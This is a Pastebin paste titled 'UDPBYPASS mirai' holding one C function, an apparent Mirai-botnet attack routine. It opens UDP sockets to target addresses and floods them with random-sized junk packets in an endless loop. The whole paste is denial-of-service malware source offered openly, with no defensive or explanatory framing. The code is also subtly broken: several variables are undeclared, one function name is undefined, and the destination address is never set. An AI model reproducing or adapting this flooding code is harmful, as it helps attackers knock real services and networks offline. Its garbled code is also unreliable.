Advertisement
KhaosBringer

UDPBYPASS mirai

Oct 29th, 2020
2,023
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 1.78 KB | None | 0 0
  1. void attack_method_udpbypass(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
  2. {
  3.     int i;
  4.     char **pkts = calloc(targs_len, sizeof (char *));
  5.     int *fds = calloc(targs_len, sizeof (int));
  6.     port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);
  7.     port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);
  8.     uint16_t data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 4096);
  9.     BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE);
  10.     struct sockaddr_in bind_addr = {0};
  11.     if (sport == 0xffff)
  12.     {
  13.         sport = rand_next();
  14.     } else {
  15.         sport = htons(sport);
  16.     }
  17.     for (i = 0; i < targs_len; i++)
  18.     {
  19.         struct sockaddr_in bind_addr;
  20.         struct sockaddr_in addr;
  21.  
  22.         fds[i] = socket(AF_INET, SOCK_DGRAM, 0);
  23.         if (fds[i] == -1)
  24.         {
  25.             exit(1);
  26.         }
  27.  
  28.         bind_addr.sin_family = AF_INET;
  29.         bind_addr.sin_port = rand_new();
  30.         bind_addr.sin_addr.s_addr = 0;
  31.  
  32.         bind(fds[i], (struct sockaddr *)&bind_addr, sizeof(bind_addr));
  33.  
  34.         addr.sin_family = AF_INET;
  35.         addr.sin_port = htons(port);
  36.         targs[i].sock_addr.sin_addr.s_addr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));
  37.  
  38.         connect(fds[i], (struct sockaddr *)&addr, sizeof(addr));
  39.     }
  40.     while (TRUE)
  41.     {
  42.         for (i = 0; i < targs_len; i++)
  43.         {
  44.             size = 1024 + rand() % (1460 - 1024);
  45.             data = (char *)malloc(size);
  46.             for (a = 0; a < size; a++)
  47.             {
  48.                 data[a] = (char)(rand() & 0xFFFF);
  49.             }  
  50.  
  51.             send(fds[i], data, size, MSG_NOSIGNAL);
  52.         }
  53.     }
  54. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement